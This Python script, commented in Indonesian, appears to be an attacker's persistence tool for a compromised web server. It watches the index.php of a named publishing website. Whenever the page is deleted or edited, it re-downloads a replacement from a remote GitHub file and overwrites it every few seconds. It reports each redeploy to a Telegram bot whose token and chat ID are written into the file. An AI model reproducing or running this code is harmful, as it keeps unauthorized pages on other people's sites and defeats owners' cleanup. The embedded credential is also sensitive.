#!/usr/bin/env python3 import os import time import urllib.request import urllib.parse import subprocess import hashlib from datetime import datetime # ==================== KONFIG ==================== CONFIG = { "RAW_INDEX_URL": "https://raw.githubusercontent.com/pusparatnas10/SM/main/malingg", "BOT_TOKEN": "87613533212:AAFJ-X1to3W2JPtLL3eKk7SN1eL815-D6N4", "CHAT_ID": "1345261884", "TIMEOUT": 10, "POLL_INTERVAL": 3 } # Path index.php yang akan dijaga BASE_DIR = "/home/psp/public_html/publishing.fgu-edu.com" # ganti sesuai lokasi root website INDEX_PATH = os.path.join(BASE_DIR, "index.php") current_index_hash = None # Kirim notifikasi Telegram def kirim_telegram(message): url = f"https://api.telegram.org/bot{CONFIG['BOT_TOKEN']}/sendMessage" data = urllib.parse.urlencode({ "chat_id": CONFIG["CHAT_ID"], "parse_mode": "Markdown", "text": message }).encode('ascii') try: req = urllib.request.Request(url, data=data, method='POST') urllib.request.urlopen(req, timeout=CONFIG["TIMEOUT"]) except: pass # Hash file untuk cek perubahan def get_file_hash(path): try: with open(path, 'rb') as f: return hashlib.sha256(f.read()).hexdigest() except: return None # Download index.php baru def download_index(target_path): try: with urllib.request.urlopen(CONFIG["RAW_INDEX_URL"], timeout=CONFIG["TIMEOUT"]) as r: content = r.read() with open(target_path, 'wb') as f: f.write(content) os.chmod(target_path, 0o644) return os.path.getsize(target_path) > 0 except: return False # Deploy baru def deploy_index(trigger): global current_index_hash if download_index(INDEX_PATH): current_index_hash = get_file_hash(INDEX_PATH) kirim_telegram(f"""⚠️ *index.php diganti/deploy baru* (Trigger: {trigger}) 📁 Path: `{INDEX_PATH}` 📏 Size: {os.path.getsize(INDEX_PATH)} bytes 🕒 Waktu: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}""") # Cek apakah hilang/diubah def check_index(): global current_index_hash exists = os.path.exists(INDEX_PATH) if not exists: deploy_index("hilang") return file_hash = get_file_hash(INDEX_PATH) if file_hash != current_index_hash: deploy_index("diedit") def main(): global current_index_hash if not os.path.exists(BASE_DIR): return # Awal if not os.path.exists(INDEX_PATH): deploy_index("awal") else: current_index_hash = get_file_hash(INDEX_PATH) # Loop pemantauan while True: check_index() time.sleep(CONFIG["POLL_INTERVAL"]) if __name__ == "__main__": main()